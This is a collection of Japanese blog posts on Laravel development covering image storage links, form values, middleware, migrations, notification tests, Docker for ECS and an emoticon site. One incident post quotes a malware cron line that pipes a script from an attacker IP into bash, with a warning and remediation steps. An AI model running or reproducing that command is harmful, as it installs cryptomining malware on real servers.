- 投稿日:2021-03-03T22:59:02+09:00
Laravel 画像の投稿機能とシンボリックリンク
はじめに
Laravelにて簡単な画像付きレシピ投稿アプリを作成しています。
画像のアップロード機能を実装した際にシンボリックリンクという言葉を初めて知ったので、備忘録として記録しておくことにしました。シンボリックリンクとは
Windouwsでいうところのショートカットのようなもの。
シンボリックリンクファイルを通して大元のフォルダを参照することができます。やりたいこと
投稿フォームから画像を選択し送信ボタンを押すと一覧で表示されるという仕組み。
画像ファイルを選択し送信ボタンをクリック
一覧画面へ画像を表示
ここでレシピ投稿アプリなのに料理の写真ねーじゃん!とツッコまれる
画像の保存先
さて、コントローラーで受け取った画像ファイルは基本的に
storage/app/public/image
内に保存させます。RecipeController.phppublic function create(Request $request){ $recipe = new Recipe; $form = $request->all(); //画像が送信されたら保存して $recipe->image_pathカラム にパスを保存する if (isset($form['image'])) {//変数に値が入っているかをチェック $path = $request->file('image')->store('image');// 画像をstorage/app/public/image配下に保存 $recipe->image_path = basename($path);//パスからを取得したファイル名をimage_pathカラムに保存 } else { $recipe->image_path = null; } unset($form['_token']); unset($form['image']); $recipe->fill($form)->save(); return redirect('/home'); }ただ、実際にアプリケーションを起動するときに公開されるのはpublicディレクトリのみです。画像は
storage/app/public/image
に保存されているので画像データを持ってくることはできません。
そんなときにpublicディレクトリ
からstorage/app/public/image
へのショートカット機能の役割を果たすのががシンボリックリンクです。シンボリックリンクの貼り方
artisanコマンドから簡単にできます。
まずpublicディレクトリへ移動します。$ cd public以下のコマンドを実行します。
$ php artisan storage:linkするとpublic内にstorageフォルダができます。(ショートカットが作成されるの方がわかりやすいかも)
矢印ができます。
public/image
と進んでいくと、storage/app/public/image
と同じ画像ファイルが存在していることがわかるかと思います。ビューに画像を表示させる
画像表示部分のみ
home.blade.php<img src="{{ asset('storage/image/' . $recipe->image_path) }}" width="100%" heigth="100%" alt="">
asset('ファイルパス')
はpublicディレクトリのパスを返す関数です。
丁寧に書くと、app/public/storage/image/[画像のパス名]
となるわけです。
さっきシンボリックリンクを貼ったおかげでこのフォルダパスを通すことができました。終わり。
- 投稿日:2021-03-03T22:22:21+09:00
inputタグとtextareaタグでのvalueの渡し方について
概要
Laravelで編集機能を実装中にDBから取得したデータをviewへ表示しようとした時が
inputタグの場合は取得したデータが表示されているのに、texereaタグでは表示されなかった原因を記載します。問題
なぜかタイトルは取得したデータが取得できているのに本文ではできていなかった。
(DBには確かにデータはあるにも関わらず)form.balade.php<label for="name">タイトル</label> <input type="text" class="form-control" name="title" value="{{ $memo->title }}"> <label for="text">本文</label> <textarea class="form-control" rows="10" name="memo" value="{{ $memo->text }}"></textarea>解決
正しい書き方はこうだ
form.balade.php<label for="name">タイトル</label> <input type="text" class="form-control" name="title" value="{{ $memo->title }}"> <label for="text">本文</label> <textarea class="form-control" rows="10" name="memo">{{ $memo->memo }}</textarea>原因:texereaタグにvalu属性には対応していない
inputタグにはclass属性と同じ箇所にvalue属性も記述することでデータを表示することができるが、textareaタグにはそうではない。
私はなぜかinputタグと同じ要領でやれば表示されると勘違いしていたが、そうではなかったのだ。form.balade.php//間違い <textarea class="form-control" rows="10" name="memo" value="{{ $memo->text }}"> //正しい <textarea class="form-control" rows="10" name="memo">{{ $memo->memo }}</textarea>追記:JavaScriptの場合は指定できる
@il9437 さんからコメントで教えて頂きました。
JavaScript場合は、textareaにもvalue値を指定できるようです。
test.js<textarea id='ta'></textarea> <script> document.getElementById('ta').value = 'test'; </script>以上となります。
もし悩まれている方の解決策になれば幸いです。
- 投稿日:2021-03-03T22:17:24+09:00
Class 'App\Providers\view' not found 解決方法
エラー:Class 'App\Providers\view' not found
参考書Laravel入門(p.101)の「クロージャ(無名関数)でコンポーザ処理を作る」で、サービスプロバイダを登録しビューコンポーザを利用する為に、/helloにアクセスしたところ、
Class 'App\Providers\view' not foundエラーが発生!
このエラーは、viewが適切に読み込まれていないという意味なので、
viewを読み込むよう、HelloServiceProvider.phpに下記のuse宣言を追加すればOKです。use Illuminate\Support\Facades\View;参考記事はこちら
https://qiita.com/janet_parker/items/4b63804fe7f8aa3e74c6
https://qiita.com/niiyz/items/5b83ef5255a1ec64d9d6
https://stackoverflow.com/questions/63655253/error-class-app-providers-view-not-found
- 投稿日:2021-03-03T22:15:39+09:00
Laravelでquery parametersで空文字渡ってくるはずが謎にnullが取れる件
はじめに
こんにちは。楽天モバイルの楽天回線エリアに住んでますが、パートナー回線しか繋がらない筆者です。
さて、Laravel使ってまして、query parametersで空文字来てるはずなのに、nullになっちゃうことに地味に小一時間悩んだので共有します。
結論:こいつの仕業
Kernel.phpprotected $middleware = [ \Illuminate\Foundation\Http\Middleware\ConvertEmptyStringsToNull::class, // これ ];こいつが空文字をnullに変換しているんです...
地味に小一時間悩んだ話
以下を例にすると、2のときにnullになっているという恐ろしさ...。
そして、3のときも空文字が入っていたもののそれがnullに変換されてsetされているので、デフォルト値の1が適用されないという恐ろしさ...。HomeController.phppublic function index(Request $request) { // 1: http://localhost?hoge=1 $hoge = $request->input('hoge'); dd($hoge); // 1 // 2: http://localhost?hoge= $hoge = $request->input('hoge'); dd($hoge); // null // 3: http://localhost?hoge= $hoge = $request->input('hoge', 1); dd($hoge); // null }勝手に変えてほしくない人は
以下コメントアウトしましょう
あと、ちゃんとコメント書いておきましょう
https://github.com/laravel/laravel/blob/8.x/app/Http/Kernel.php#L23おわりに
便利なのかもしれないのですが、良し悪しあると思います
何かのお役に立てていれば幸いです。
それでは。
- 投稿日:2021-03-03T21:04:55+09:00
Could not open input file: artisan解決方法
エラー:Could not open input file: artisan
Laravelでサービスプロバイダを作成する為に、
$ php artisan make:provider HelloServiceProvider上記のコマンドをターミナルで叩くと、
Could not open input file: artisanというエラーが発生します。
このコマンドは、arisanファイルのあるディレクトリにいないと実行できない為、
エラーが発生するということは、コマンドを実行するカレントディレクトリが間違っている可能性があります。現在どこのディレクトリで実行しているか確認しましょう。
こちらの場合だと、$cd docker-laravel-demo/backendこれで、artisanファイルのあるbackendディレクトリまで移動し、
$ php artisan make:provider HelloServiceProviderサービスプロバイダを作成するコマンドを叩くと、
Controller created successfully.こちらが表示され、Providersディレクトリ内にHelloServiceProviderファイルが作成されます。
- 投稿日:2021-03-03T20:13:09+09:00
爆速で検索できる顔文字サイトを開発した話
きっかけ
某S●mejiに対抗するため、えりんぎという顔文字サイトを2020年1月に公開
志半ばで中途半端な状態のまま放置してドメインを失効しそうになる
閉鎖しようと思ったが友人がずっと使ってくれてたのを知るというわけでバグだらけの「えりんぎ」をリニューアルすることに
作ったもの
顔文字をカテゴリやキーワードで検索できるサイト
えもしぇあ https://emoshare.net製作期間は3週間で60時間くらい
※顔文字を登録する作業が10時間以上占めている( ;꒳; )LighthouseでPerformanceが100にならなかったけど爆速
※Google Analytics入れたら92に下がった( ;꒳; )
技術
Laravel 6.x (普段使っている安心安定のLaravel)
Vue3 (Composition API 使ってみたかった)
Tailwind CSS (Laravel8で採用されたらしいので使ってみたかった)実装方針
実装に時間が掛かりそうなものはできるだけ除外
コンポーネントはあまり細かく分けない
新しいことはあまりしない(躓いたら諦める)実装したい機能
検索したときにページ遷移せずいい感じで表示したい
タップやクリックでクリップボードにコピー
コピーした履歴を持ちたい
できるだけ爆速で表示したい
いいね機能
顔文字にキーワードを持たせて検索しやすくする(管理画面で設定するのめんどくさくなって途中から設定してない)
投稿(めんどくさくなってやめた)
ダークモード(めんどくさくなってやめた)
多言語化する(顔文字に日本語を含めなくなるのでやめた)画面設計
DB設計
実装
いいねボタン
これ参考にした
タグクラウド
チェックボックスの状態でON/OFFを切り替える
vue.js// 一部省略 <label :for="'category' + category.id"> <input :id="'category' + category.id" type="checkbox" class="category-input hidden" /> <div class="category-button-wrapper"> <span class="category-button"> #{{ category.name }} </span> </div> </label>style.scss.category-input { &:checked { + .category-button-wrapper { .category-button { color: #fff; background: #f59e0b; border-color: #f59e0b; } } } &:active { + .category-button-wrapper{ .category-button { color: #fff; background: #fbbf24; border-color: #fbbf24; } } } }
:checked
と:hover
で実装したところスマホでうまく動かなかったが:hover
を:active
に変えたら動いたコピー履歴
Local Storageでコピーした顔文字を保持
エラー画面
地味に 401, 403, 404, 405, 419, 429, 500, 503 エラーに対応した
gzip圧縮
cssとjsを圧縮する
zopfli使ったら結構小さくなったtailwind.config.jsmodule.exports = { purge: [ './resources/js/components/**/*.vue', './resources/views/**/*php' ], darkMode: false, // or 'media' or 'class' theme: { extend: {}, }, variants: { extend: {}, }, plugins: [], }webpack.mix.jsconst mix = require('laravel-mix') const tailwindcss = require('tailwindcss') const CompressionPlugin = require('compression-webpack-plugin') const zopfli = require('node-zopfli') mix.js('resources/js/app.js', 'public/js').vue() .sass('resources/sass/app.scss', 'public/css') .options({ processCssUrls: false, postCss: [ tailwindcss('./tailwind.config.js') ], }).webpackConfig({ plugins: [ new CompressionPlugin({ test: /\.(css)|(js)$/, algorithm: (content, options, fn) => { zopfli.gzip(content, options, fn); }, }) ] }).htaccess# gzip対応 RewriteCond %{HTTP:Accept-Encoding} gzip RewriteCond %{REQUEST_FILENAME}\.gz -s RewriteRule ^(.+) $1.gz <FilesMatch "\.css\.gz$"> ForceType text/css AddEncoding x-gzip .gz </FilesMatch> <FilesMatch "\.js\.gz$"> ForceType application/x-javascript AddEncoding x-gzip .gz </FilesMatch>デプロイ
レンタルサーバーにデプロイする方法忘れたのでこれを参考にした
ヘテムルにLaravelをデプロイする方法 (Laravel5.8)最後に
Tailwind CSSのおかげで命名する時間を節約できたのはよかった
あとレスポンシブ対応も楽だった
Google Analytics入れたらBest Practicesが100にならないんだけどどうしたらいいの?
- 投稿日:2021-03-03T18:57:22+09:00
LaravelでNotification::fake()を使ったテストでNotification::assertSentToがうまく通らない
経緯
Laravelのテストで、Notification Fake
https://readouble.com/laravel/8.x/ja/mocking.html
を使用して、テスト時に実際にはslackに通知を飛ばさないようにしておいて、
Notification::assertSentTo
で、通知が送信される処理は行われていることをテストしようとして、Notification::assertSentTo( new AnonymousNotifiable, SlackNotification::class );と書いたのだけど、どうあがいても
The expected [App\Notifications\SlackNotification] notification was not sent. Failed asserting that false is true.と怒られてしまう。
指定の仕方とか色々試したけど、assertSentToではどうあがいてもうまくテストが通らなかった。。。。解決策
Notification::assertTimesSent
を使用することで解決Notification::assertTimesSent( 1, SlackNotification::class );第一引数に通知が送信されるべき回数(期待値)を指定してやればOK
テストでは一旦通知内容は確認しなくてOKだったので、通知が飛ばされる回数をテストしてやる形でテストが通った通知が送られる処理の直前で
Notification::assertTimesSent( 0, SlackNotification::class );と記述しても通ったので、とりあえず問題なさそう。
assertSentTo使う場合はどう書けばいいのかモヤモヤするけど、一旦忘れる!
追記
本記事を公開後、ちょっと調べてたら、以下の記事を見つけた
https://qiita.com/harukei/items/26f0a1c0d6128f681c00
Notification::fake() が Mail::fake() を上から潰しているようです。
確かに僕のコードでも
public function test__invoke() { Mail::fake(); Notification::fake();とNotification::fake() と Mail::fake()の両方を使用しているので、assertSentToがうまく動作しないのはこのせいなのかもしれない。。。
- 投稿日:2021-03-03T17:47:29+09:00
Laravel:標準ログイン機能実装後に既存テーブルにuser_idカラム追加する方法
概要
Laravelで標準Auth認証を用いてログイン機能を実装した後に、既存のテーブルにuser_idを追加する場合の方法です。
追加用のマイグレーションファイルを作成
//書き方 $ php artisan make:migration add_カラム名_to_追加先のテーブル名_table --table=追加先のテーブル名 //今回の場合はこんな感じ $ php artisan make:migration add_user_id_to_memos_table --table=memos実行するとアプリ名/database/migrations配下に作成したマイグレーションファイルが作成されます。
マイグレーションファイルを編集
出来上がったマイグレーションファイルを見ると↓↓↓な感じのが出来上がっている
2021_03_02_131812_add_user_id_to_memos_table.php<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AddUserIdToMemosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('memos', function (Blueprint $table) { // }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('memos', function (Blueprint $table) { // }); } }ここからUPの部分にuser_idを追加します。
↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓2021_03_02_131812_add_user_id_to_memos_table.php<?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class AddUserIdToMemosTable extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('memos', function (Blueprint $table) { $table->bigInteger('user_id')->unsigned(); $table->foreign('user_id') ->references('id')->on('users') ->onDelete('cascade'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('memos', function (Blueprint $table) { // }); } }1)user_idのデータ型をUsersテーブルのidのデータ型と合わせる
→データ型はbigIntなので、bigIntegerで指定します。
※合ってないとマイグレーションコマンドを実行した時にエラーになります
→unsignedは符号なしということ(整数のみで-1とかは登録できないようにするということ)2)この時に外部キー(userテーブルのidと紐づけること)の設定も行う
→foreignメソッドやreferencesメソッドを用いる
→userが削除された時にmemosテーブルに紐づいているデータも一緒に削除されるようにonDeleteメソッドも用いるマイグレーションを実行
下記のコマンドを実行するとmemosテーブルにカラムが追加されます。
$ php artisan migrate各モデルにリレーションを設定する
Userモデル
Userは複数のmemoのデータを持つので、1対多の関係になります。
なのでUserモデルにhasManyの記述をします。(※Mが大文字なので注意)User.php<?php namespace App; use Illuminate\Contracts\Auth\MustVerifyEmail; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; class User extends Authenticatable { {中略} public function memos(){ return $this->hasMany('App\Memo'); } }Memoモデル
Memoテーブルは1つのmemoに対して1人のUserのデータを持つので、
なのでMemoモデルにbelongToの記述をします。(※Tが大文字なので注意)Memo.php<?php namespace App; use Illuminate\Database\Eloquent\Model; class Memo extends Model { {中略} public function User(){ return $this->belongsTo('App\User'); } }以上となります。
- 投稿日:2021-03-03T16:49:38+09:00
kinsing(kdevtmpfsi)という厄介なマルウェアにかかった話
EC2が急にCPU100%のアラートを飛ばすようになった。nanoなのに1日2ドルとかトラフィックでかかっていてなんだこれ?ってなった。
調べてみるとkinsing(kdevtmpfsi)というマルウェアにかかっていて、仮想通貨のマイニングに勝手に使われた模様。
プロセスは下記の様な感じ。【注意】下記のシェルURLは絶対に叩かないでください!!
[root@ip-xxx-xxx-xxx-xxx ~]# ps aux | grep nginx nginx 2296 0.0 0.3 404256 1432 ? S 2月14 0:10 php-fpm: pool www nginx 2297 0.0 0.3 402228 1584 ? S 2月14 0:09 php-fpm: pool www nginx 2298 0.0 0.2 404268 1232 ? S 2月14 0:10 php-fpm: pool www nginx 2299 0.0 0.3 404252 1584 ? S 2月14 0:10 php-fpm: pool www nginx 2301 0.0 0.3 402232 1616 ? S 2月14 0:10 php-fpm: pool www root 2304 0.0 0.0 125972 0 ? Ss 2月14 0:00 nginx: master process /usr/sbin/nginx nginx 2306 0.0 0.0 126384 396 ? S 2月14 0:02 nginx: worker process nginx 2307 0.0 0.0 126384 160 ? S 2月14 0:00 nginx: worker process nginx 2762 0.0 0.2 402212 1396 ? S 2月14 0:10 php-fpm: pool www nginx 9152 0.0 0.2 404256 1416 ? S 04:28 0:06 php-fpm: pool www nginx 20413 0.0 0.7 718484 3412 ? Sl 20:50 0:00 /tmp/kinsing nginx 20564 197 56.3 788140 266128 ? Ssl 20:51 76:19 /tmp/kdevtmpfsi root 22545 0.0 0.1 119436 864 pts/0 S+ 21:30 0:00 grep --color=auto nginx [root@ip-xxx-xxx-xxx-xxx ~]# cd /var/spool/cron [root@ip-xxx-xxx-xxx-xxx cron]# ll 合計 4 -rw------- 1 nginx nginx 74 2月 15 20:50 nginx [root@ip-xxx-xxx-xxx-xxx cron]# cat nginx * * * * * wget -q -O - http://195.3.146.118/pg.sh | bash > /dev/null 2>&1 [root@ip-xxx-xxx-xxx-xxx tmp]# pwd /tmp [root@ip-xxx-xxx-xxx-xxx tmp]# ll -a 合計 4 drwxrwxrwt 11 root root 4096 2月 15 21:44 . dr-xr-xr-x 19 root root 288 6月 2 2020 .. drwxrwxrwt 2 root root 6 6月 1 2020 .ICE-unix drwxr-xr-x 2 nginx nginx 18 2月 11 21:41 .ICEd-unix drwxrwxrwt 2 root root 6 6月 1 2020 .Test-unix drwxrwxrwt 2 root root 6 6月 1 2020 .X11-unix drwxrwxrwt 2 root root 6 6月 1 2020 .XIM-unix drwxrwxrwt 2 root root 6 6月 1 2020 .font-unix drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-chronyd.service-oOMI2M drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-nginx.service-YmMBKR drwx------ 3 root root 17 2月 15 21:39 systemd-private-1b85b88f39584ae9aa205c4496b3ef47-php-fpm.service-GQpeT7 [root@ip-xxx-xxx-xxx-xxx tmp]# ll -a /var/spool/cron/ 合計 0 drwx------ 2 root root 6 2月 15 21:38 . drwxr-xr-x 9 root root 97 5月 27 2020 ..何かしらの脆弱性をついてnginxのユーザーで特定のプログラムを実行させるという手法。
対処方法
kinsingにかかったら、/tmpのkinsing,kdevtmpfsiを削除するのと、/var/spool/cron/nginx のファイルを削除してください。
また、root権限かsudoで全体に検索かけてください。[root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kinsing” [root@ip-xxx-xxx-xxx-xxx tmp]# find / -name “kdevtmpfsi”本件の問題は、Laravelフレームワークにおいてデバッグ出力時に利用しているcomposerのfacade/ignitionの脆弱性が問題です。
composer updateをして最新版にアップデートしてください。
facade/ignitionがバージョン2.0.6で問題が起き、2.5.13で問題が起きないことを確認しています。また、.env の APP_DEBUG がtrue になってたら false に変更してください。
一応プロセスキルだけでも良いとは思いますが、念の為サーバーは再起動した方が良いと思います。yumとcomposerは定期的にアップデートした方がよさそうです。
- 投稿日:2021-03-03T15:55:49+09:00
初学者がコンテナを何度も落としながらもECSデプロイに成功したのでメモしておく
未経験ですが、めちゃくちゃ苦戦しながらもECSへのデプロイに成功したので、メモしておきます。
特にDockerfileの記述ミスでコンテナが落ちまくったので今回はDockerfileの書き方を中心に書いていきます。
何か間違いなどありましたら遠慮なくコメントにメッセージをお願いします。成長できればと思っています。前提
PHP Laravel PostgreSQL Docker 7.4.5 7.28.4 13.1 19.03.13 ECSデプロイまでの大まかな流れ
(注意 Dockerfileから作成したイメージをカスタムイメージとここでは呼びます)
用語確認
ECS
コンテナに関する設定、管理などあらゆるものを自動化してくれるサービスタスク
コンテナの集合体タスク定義
どのようなタスクを生成するか定義しているサービス
指定したタスク定義からタスクを生成する(イメージをコンテナ化させる)クラスター
タスクとサービスをグルーピングする。クラスターにアプリケーションを動かすためのサーバーなどを指定する。厳密ではありませんが大まかに上記の流れを踏んでECSへサービスをデプロイします。
AWS側の設定も大変ですが、今回は起点となるDockerfileの書き方(ECSバージョン)をフォーカスしてみます。Dockerfileとは?
Docker上で動作させるコンテナの構成情報を記述するファイル。コンテナ内の環境を構築するファイル。
この説明では分かりにくいと思うのでこれから詳しく見ていきます。Dockerfileの役割
基本的にはイメージをビルドすること。
イメージをビルドするとは、ベースとなるイメージに対して何らかの機能や設定を加えて、独自のイメージを生成するということ。Dockerfileによるイメージビルドまでの流れ
厳密ではありませんが僕のいろいろ調べたところ上の流れになっていると認識しました。
実際のDockerfile(ECSデプロイバージョン)
FROM php:7.4.1-fpm RUN apt-get update \ && apt-get install -y wget git unzip libpq-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev \ && : 'Install Node.js' \ && curl -sL https://deb.nodesource.com/setup_12.x | bash - \ && apt-get install -y nodejs \ && : 'Install PHP Extensions' \ && docker-php-ext-install -j$(nproc) pdo_pgsql \ && mkdir /workdir COPY --from=composer /usr/bin/composer /usr/bin/composer COPY . /workdir WORKDIR /workdir RUN composer install CMD ["php","artisan", "serve", "--host", "0.0.0.0", "--port", "8085"]Dockerfileの解説
ベースイメージの指定
FROM php:7.4.1-fpmまずはベースとなるDockerイメージを指定します。これを基点にオリジナルのイメージを作成していきます。
パッケージリストの更新
RUN apt-get update \パッケージリストの更新を行います。
具体的に何をやっているのかというと、/etc/apt/sources.listに書かれているURLからパッケージインデックスファイルを引っ張ってきて
$ cd /var/lib/apt/listsに格納しています。
コンテナ正常に稼働させるために必要なパッケージをインストール
&& apt-get install -y wget git unzip libpq-dev libfreetype6-dev libjpeg62-turbo-dev libpng-dev \&&について
RUNコマンドを複数使うとそれだけイメージレイヤが増えるため、&&で連結させ複数の処理をひとつのRUNにまとめて記述することが推奨されているそうです。apt-get install -y
apt-getは引数に書いたパッケージがアップロードされているサーバーに問い合わせて、そのパッケージを自動でインストールしてくれるコマンド。引数 -y を設定しておくとインストール途中に「yes/no」を聞かれたとき自動で「yes」を選んでくれる。Node.jsのインストール
&& : 'Install Node.js' \ && curl -sL https://deb.nodesource.com/setup_12.x | bash - \最初の行は下の実行処理に名前をつけています。
Node.jsとは、ブラウザ上という制限された環境でしか動けないJavaScriptを、パソコン上で動かせるようにしてくれるJavaScriptの実行環境。PDO_PGSQLのインストール
&& : 'Install PHP Extensions' \ && docker-php-ext-install -j$(nproc) pdo_pgsql \PDO_PGSQLとは、PHPからPostgreSQLデータベースへアクセス可能にするためのドライバ。
これによりPostgreSQLが使用できるようになります。コンテナ内に作業ディレクトリを作成しておく
&& mkdir /workdirコンテナ内にディレクトリを作成しておきます。
のちのちコンテナの中にアプリケーションコード群(Laravelのコード群)を配置しなければならず(そうしないと当然アプリは動かない)、そのアプリケーションコード群を格納するためのディレクトリが必要なのでここで作成しておきました。Composerのインストール
COPY --from=composer /usr/bin/composer /usr/bin/composerわずかこの1行だけで完了します。
補足
composerとは、パッケージ依存管理ツールです。
パッケージは依存し合っているので、Aというパッケージをインストールするとき、パッケージAを利用するにはパッケージB,C,D,Eが必要なケースもあります。
そんなときcomposerを利用することで、パッケージB,C,Dまとめてインストールしてくれます。
詳しくは以下の記事から!
PHP開発でComposerを使わないなんてありえない!基礎編アプリケーションコード群をコンテナ内にコピペする
COPY . /workdirもちろん動かす予定のコンテナ内にアプリケーションコードがなければアプリは起動しないので、コンテナにコードを配置させるという処理をしなければなりません。
このとき便利なのがCOPYコマンドです。
ローカル上にあるコード郡をコンテナ内部にコピーして貼り付けてくれます。このCOPYコマンドを実施しなければコンテナの中身は空っぽな状態になります。COPYコマンドの引数は以下の通りです。
COPY コピー元 コピー先さらに細かく見ると、
COPY Dockerfileから見たコード群の位置(相対パス) コンテナ内の貼り付ける位置(絶対パス)それを踏まえた上でもう一度、上のCOPYコマンドを確認してみます。
COPY . /workdir第1引数は「カレントディレクトリ」を表すドットです。
DockerfileをLaravelのコード群の中に配置したので、この場合コピー元にカレントディレクトリと指定するとDockerfileも含めたLaravelコード群がまずコピーされます。注意点
Dockerfileより上の階層にあるファイルやディレクトリをコピー元として選択できません。
上の階層のものを指定したい場合、docker-compose.ymlのbuildオプションを利用して実現可能です。(ここではその解説は省略します)第2引数に /workdir を指定しました。
このディレクトリは以前上で作成したディレクトリです。このディレクトリの中にコピーしたLaravelコード群一式をペーストします。以上でコンテナ内にもアプリケーションコード群が存在するようになりました!
作業ディレクトリを移動する
WORKDIR /workdirこの後に続く処理は、アプリケーションコードが格納されたディレクトリ内部で実行しなければならないため、実行場所をあらかじめ移動しておきます。
補足
WORKDIRは、作業するディレクトリ(コマンドの実行場所)を指定しますが、指定したディレクトリが存在しない場合、自動的に指定したディレクトリを作成した上で移動してくれます。
vendorディレクトリのインストール(省略可)
RUN composer install僕の場合、Gitを利用してリモートリポジトリにプッシュしたあとCircleCI/CDを利用して自動でデプロイが実行されるように設定したのでこの処理が必要でした。
Gitでプッシュされるものの中に「vendorディレクトリ」は省かれる(.gitignore)ためです。コンテナ内のアプリケーションコードの中に「vendor」ディレクトリが存在しない場合、コンテナ起動時に以下のようなエラーが検出されます。
Warning: require(/workdir/vendor/autoload.php): failed to open stream: No such file or directory in /workdir/artisan on line 18これはvendorディレクトリが存在しないために発生するエラーです。
vendorディレクトリを改めてインストールするには「composer install」コマンドを実行しなければなりません。なので、ビルド時にコンテナ内であらかじめ「composer install」コマンドを実行して「vendorディレクトリ」を再インストールしておきました。
コンテナ起動時に自動的にPHPサーバーを立ち上げる
CMD ["php","artisan", "serve", "--host", "0.0.0.0", "--port", "8085"]CMDコマンドとは、カスタムイメージのビルド成功後、そのカスタムイメージをコンテナとして起動させるタイミングで一度だけ実行できるコマンドです。これを設定しておけばコンテナ起動時に毎回指定の処理を実行してくれます。
僕はこれを指定しておらずコンテナが何度も落ちてしまいました。
これを指定しなければコンテナのヘルスチェックに引っかかり続けます。
なぜならサーバーが立ち上がっていないため、ヘルスチェックによって指定のパスにアクセスしても正常なレスポンスが返らないからです。補足 ヘルスチェックとは?
特定のサーバー上のサービスに、作業を正常に実行できるかどうかを確認する方法です。
分かりやすくいうと、ロードバランサーにサービス上のあるパスを設定しておき、その設定したパスにロードバランサーが試験的にアクセスし、正常なレスポンスが返ればOK、異常ならばコンテナを落とします。以上でECSにデプロイ可能なカスタムイメージを作成できうるDockerfileを作成することができました!!!!!
開発環境にDockerを使う方法やdocker-compose.ymlについてもまとめたいところですが、長くなるので別の記事にまとめます。
最後に
まだ未経験の初学者なもので、公式サイトやあらゆる記事を参考に手探りでDockerfileの書き方や内容を学んできました。
また大枠を捉えられるようにするため、厳密には異なる箇所もあると思います。
しかし初学者にとってDockerfile(特にECSへのデプロイ用)を理解するのは結構ハードル高いように感じたので、自分なりに記事にまとめてみました。
何か相違点などある場合は遠慮なくメッセージしていただけると嬉しいです。
ここまで読んで頂きありがとうございました!
- 投稿日:2021-03-03T15:04:19+09:00
【Laravel】認証済みユーザーが"/register"にアクセスするとリダイレクトされるのはなぜか
初めに
タイトルの通りです。
RegisterController
コントローラーやRegisterUsers
トレイトばかりに目が向いていて、ミドルウェアという選択肢を全く考えられなかったことへの戒めに記事に残しておきます。前提
環境
- PHP
7.4.15
- Laravel
6.20.16
- laravel/ui
1.3.0
今回の認証機能は
laravel/ui
の以下のコマンドphp artisan ui:auth vueによって提供されるものをそのまま使いました。
結論
先に答えを述べて、それから何故それが答えになるのかの説明をしていきたいと思います。
結論を言いますと、
App\Http\Controllers\Auth\RegisterController
クラスのコンストラクタにapp/Http/Controllers/Auth/RegisterController.phppublic function __construct() { $this->middleware('guest'); }という処理によって、
guest
という名前のミドルウェアが適用されているからでした。
guest
ミドルウェアが追加されているコントローラは、認証済みユーザーからはアクセスできないようにミドルウェアによってガードされるようになります。ではこの処理がどのように動作しているかを見てみましょう。
ミドルウェア
guest
guest
ミドルウェアがどんな処理を行うかはApp\Http\Kernel
をみればわかります。
App\Http\Kernel
は
- 適用させるミドルウェアを登録したり
- グループ分けを行ったり
- 今回の
guest
のようにミドルウェアに対して個別に呼び出しを行えるように別名を付けたりといったミドルウェアに関する情報を扱っています。
App\Http\Kernel
クラスを見てみると、app/Http/kernel.php// 前略 protected $routeMiddleware = [ 'auth' => \App\Http\Middleware\Authenticate::class, 'auth.basic' => \Illuminate\Auth\Middleware\AuthenticateWithBasicAuth::class, 'bindings' => \Illuminate\Routing\Middleware\SubstituteBindings::class, 'cache.headers' => \Illuminate\Http\Middleware\SetCacheHeaders::class, 'can' => \Illuminate\Auth\Middleware\Authorize::class, 'guest' => \App\Http\Middleware\RedirectIfAuthenticated::class, 'password.confirm' => \Illuminate\Auth\Middleware\RequirePassword::class, 'signed' => \Illuminate\Routing\Middleware\ValidateSignature::class, 'throttle' => \Illuminate\Routing\Middleware\ThrottleRequests::class, 'verified' => \Illuminate\Auth\Middleware\EnsureEmailIsVerified::class, ]; // 後略
$routeMiddleware
プロパティに、[ミドルウェア名 => それの実装クラス]
というような形式の連想配列の形で、あるミドルウェアに対してどの実装クラスを実行するかの情報が保存されています。このプロパティ中の
guest
キーに対応するものは\App\Http\Middleware\RedirectIfAuthenticated
というクラスです。名前からして、認証済みであればリダイレクトを行うという処理を担っていることが明らかですね。
ではこのクラスの実装を見てみましょう。
RedirectIfAuthenticated
クラスの処理app/Http/Middleware/RedirectIfAuthenticated.php<?php namespace App\Http\Middleware; use App\Providers\RouteServiceProvider; use Closure; use Illuminate\Support\Facades\Auth; class RedirectIfAuthenticated { public function handle($request, Closure $next, $guard = null) { if (Auth::guard($guard)->check()) { return redirect(RouteServiceProvider::HOME); } return $next($request); } }コメントを省くとこれだけの処理です。
リクエストを受けたときに実行されるメソッドである
handle()
メソッドの中身を見てみましょう。まず
Auth::guard($guard)->check()
で既にユーザー情報があるかを判断しています。既にユーザー情報がある、つまりログイン済みであれば
return redirect(RouteServiceProvider::HOME)で
RouteServiceProvider::HOME
にリダイレクトする、という処理を行っています。この処理から、
App\Providers\RouteServiceProvider
クラスのHOME
定数を変更すればリダイレクト先を変更できるということもここから読み取れますね。ユーザー情報がまだ無ければこのミドルウェアでは何もせず、
$next($response)
によって次のミドルウェアへ処理を渡しています。以上のことから、確かにこのミドルウェアによって認証済みユーザーに対してのアクセスガードが実装されていることが分かりました。
終わりに
認証済みユーザーが
/register
にアクセスしたときにリダイレクトする処理は、guest
ミドルウェア、つまり\App\Http\Middleware\RedirectIfAuthenticated
クラスによって提供されていることが分かりました。ここでは各処理の詳細については深くは追わず、簡略化した説明となっています。
もし各処理の詳細(たとえば、ミドルウェアの実行される流れだったり、リダイレクト関数の実装)が気になる方がいらっしゃいましたら、ぜひ一度
laravel
のソースコードを深堀して追ってみるという経験をなさってみてはいかがでしょうか。
- 投稿日:2021-03-03T00:13:36+09:00
Laravel:既存テーブルにカラムを追加する方法
概要
Laravelで既存テーブルにカラムを追加する方法について解説
例
手順1:追加用のマイグレーションを作成
ターミナルで下記のようにコマンドを実行する
